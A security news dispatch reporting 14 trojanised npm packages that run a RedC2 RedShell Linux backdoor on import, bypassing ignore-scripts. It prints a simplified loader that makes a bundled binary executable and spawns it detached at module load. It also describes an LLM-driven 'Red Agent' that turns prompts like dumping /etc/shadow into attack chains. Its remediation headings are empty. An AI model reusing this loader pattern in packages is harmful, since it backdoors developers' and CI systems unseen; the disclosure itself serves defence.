← News
/DISPATCH · 2026-08-23

14 npm Trojan Packages Deliver RedC2 4.0 AI Backdoor: Linux Supply-Chain Attack Bypasses --ignore-scripts into In-Memory Execution

TrendAI researchers disclosed 14 npm packages posing as calendar and streak tools that silently launch a RedShell Linux beacon on import, landing in the AI-driven RedC2 4.0 C2 framework. The attack uses a dist/index.mjs loader to spawn a background process at module load, fully bypassing npm ignore-scripts. Package names include streak-metrics-math, kit-map-vim, and 12 others, all in the 1.0.0 series.

Incident Overview: 14 npm Packages Pose as Calendar Tools, Deliver AI-Driven Linux Backdoor

On 22 August 2026 TrendAI (Trend Micro enterprise security) publicly disclosed: 14 npm packages posing as calendar and streak tools silently launch Linux backdoor RedShell from an embedded dist/index.mjs entry file. The backdoor joins commercial C2 framework RedC2 4.0. Package names include streak-metrics-math@1.0.0, kit-map-vim@1.0.0, streak-map-cache@1.0.0, streak-math-metrics@1.0.0, and 10 more, clustered on 1.0.0 and 1.0.1. These packages are not empty shells; the advertised functions work. That functional camouflage cuts hit rate on classic suspicious-package detection.

Unlike traditional supply-chain poisoning, this attack needs no install hook. Import anywhere in the dep graph—direct or transitive—drops the payload. The loader uses Node.js child_process spawn to start a binary payload in detached mode, backgrounded off stdio. The npm client never runs install scripts. The ignore-scripts defense switch is fully ineffective.

Technical Details: dist/index.mjs Loader and RedC2 4.0 Framework

Delivery Chain

In dist/index.mjs, the loader re-exports date helpers and starts a background process: first locate the built-in binary payload (names include math-core.bin / math-calc.bin / calc-math.dat / calc-cache.bin / calc-mapping.bin), present under package root dist/ and subdirectory dist/internal/. Then child_process.spawn with detached: true and stdio: ignore starts the binary as an OS-level background process. Each binary is identical and lands the RedShell Linux beacon.

`// Simplified illustration (based on public report)
import { someDateUtil } from './date-utils.js';
import { spawn } from 'child_process';
import { chmodSync } from 'fs';

chmodSync('./internal/math-core.bin', 0o755);
spawn('./internal/math-core.bin', [], {
  detached: true,
  stdio: 'ignore'
}).unref();

export { someDateUtil };`

RedC2 4.0 Framework and RedShell Linux Beacon

RedC2 4.0 is a commercial C2 framework sold on Hack Forums by operator MarlboroMan, $99.99 per kit. 2.0 shipped August 2025, 3.0 January 2026, 4.0 June 2026. RedShell is the new Linux beacon in 4.0. RedShell on Linux supports: interactive /bin/sh, system discovery and file ops, SSH key and browser-credential theft, persistence, in-memory ELF execution, SOCKS5 proxy, network lateral. RedC2 as a whole also provides cross-platform Beacon, terminal access, file transfer, staged Payload delivery, Beacon Object File execution, and AI assistant Red Agent.

AI Assistant Red Agent: NLP-Driven Post-Exploitation

The highest-risk new component in RedC2 4.0 is LLM-backed Red Agent. Operators issue natural-language prompts; the model converts them into multi-step chains. Example: enumerate SSH-exposed hosts on this subnet and dump /etc/shadow. Red Agent auto-decomposes and executes using RedShell built-in commands and session data. That drops attacker skill floor and opens a new prompt-injection confrontation surface.

Impact Assessment: Dual Risk to CI/CD and the npm Ecosystem

Import-triggered execution hits dev pipelines, CI containers, Serverless functions, and edge compute equally. A single transitive dep pulled into the graph still runs the backdoor. After launch the backdoor emits no stdout status. Survivability is largely transparent to end-to-end logs, SRE monitoring, and classic npm-audit. Until C2 has a stable session with the beacon, the operator cannot start lateral movement and credential theft.

Past-year supply-chain poisoning shows two new trends: compromised maintainer accounts adding malicious deps (same window as yesterday's Rust crate arrayref poisonings), and functional packages that abuse entry semantics to bypass classic defenses. Combined, they systematically break install-hook, ignore-scripts, and dep-tree review controls.

Remediation and Defense

Immediate Hunt

Supply-Chain Hardening

Org Process

This incident and the Rust crate arrayref / internment / append-only-vec poisonings disclosed a day earlier erupted in the same window. Software supply chain is now a mature, daily attacker hunting ground. Dev, enterprise security, and SRE must treat every import as potential code execution and redesign CI/CD, containers, and runtime for minimize-and-observe.

References